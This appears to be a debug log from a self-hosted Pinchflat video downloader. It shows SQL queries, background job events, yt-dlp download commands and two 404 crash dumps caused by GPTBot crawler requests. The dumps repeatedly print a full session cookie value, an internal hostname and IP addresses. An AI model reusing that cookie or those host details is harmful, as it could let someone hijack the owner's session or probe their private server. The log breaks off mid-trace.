db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/94/metadata.json.gz", "/config/metadata/media_items/94/thumbnail.jpg", 94, ~U[2026-03-28 02:34:00Z], ~U[2026-03-28 02:34:00Z]] 22:34:00.843 [debug] QUERY OK db=0.0ms commit [] 22:34:00.844 [debug] QUERY OK source="media_items" db=1.3ms idle=780.9ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [360509828, ~U[2026-03-28 02:34:00Z], 94] 22:34:00.844 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:34:00.844 [info] {"args":{"id":94},"id":93,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":137461855,"event":"job:stop","queue_time":6164382347,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:34:00.845 [debug] QUERY OK source="tasks" db=0.3ms idle=171.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:34:00.845 [debug] QUERY OK source="tasks" db=0.4ms idle=744.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:34:00.845 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [95] 22:34:00.845 [debug] QUERY OK source="media_items" db=0.2ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [95] 22:34:00.850 [info] {"args":{"id":96},"id":95,"meta":{},"system_time":1774665240850752058,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:34:00.851 [debug] QUERY OK source="media_items" db=0.4ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [96] 22:34:00.851 [debug] QUERY OK source="tasks" db=0.5ms idle=5.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:34:00.851 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:34:00.851 [debug] QUERY OK source="tasks" db=0.7ms idle=5.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:34:00.852 [debug] QUERY OK source="sources" db=0.3ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:34:00.852 [debug] QUERY OK source="media_items" db=0.5ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [95, 96] 22:34:00.852 [debug] QUERY OK source="media_items" db=0.5ms idle=0.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [95, 96] 22:34:00.852 [debug] QUERY OK source="media_profiles" db=0.4ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:34:00.852 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [96] 22:34:00.853 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [96] 22:34:00.853 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:34:00.853 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:34:00.853 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:34:00.853 [debug] Running yt-dlp command for action: get_downloadable_status 22:34:00.854 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:34:00.854 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:34:00.854 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:34:00.854 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=cCD23fss8GQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4b/4b/4b4bc92861045238b67de90185188a9c96bfc0250e6e1b3dc52da19a40c13adb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:34:02.938 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=cCD23fss8GQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4b/4b/4b4bc92861045238b67de90185188a9c96bfc0250e6e1b3dc52da19a40c13adb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:34:02.939 [debug] Running yt-dlp command for action: download 22:34:02.939 [debug] QUERY OK source="settings" db=0.1ms idle=876.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:34:02.939 [debug] QUERY OK source="settings" db=0.0ms idle=876.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:34:02.939 [debug] QUERY OK source="settings" db=0.1ms idle=876.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:34:02.939 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=cCD23fss8GQ --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/7e/c1/7ec1f614f59584a5de1be671d68c41da6e7607a29c4efd10df7fe3535e1f058d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:34:10.433 [info] GET /sources/2/force_index 22:34:10.434 [debug] QUERY OK source="settings" db=0.3ms idle=371.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:34:10.434 [debug] QUERY OK source="settings" db=0.1ms idle=372.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:34:10.435 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:34:10.435 [error] #PID<0.4860.0> running PinchflatWeb.Endpoint (connection #PID<0.4859.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/2/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4859.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 45656}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4860.0>, params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/2"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/2/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDgpIdRksQ1kpUAAUkC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4859.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 45656}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4859.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 45656}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_ (truncated) 22:34:28.919 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:58.921 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:00.674 [info] {"source":"oban","duration":182,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:35:14.990 [info] GET /sources/1/sync_files_on_disk 22:35:14.991 [debug] QUERY OK source="settings" db=0.1ms idle=928.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:35:14.991 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=928.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:35:14.991 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:35:14.991 [error] #PID<0.4866.0> running PinchflatWeb.Endpoint (connection #PID<0.4865.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4865.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 45780}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A" }, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4866.0>, params: %{}, path_info: ["sources", "1", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDgs484MuXlR3cAAUoC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, 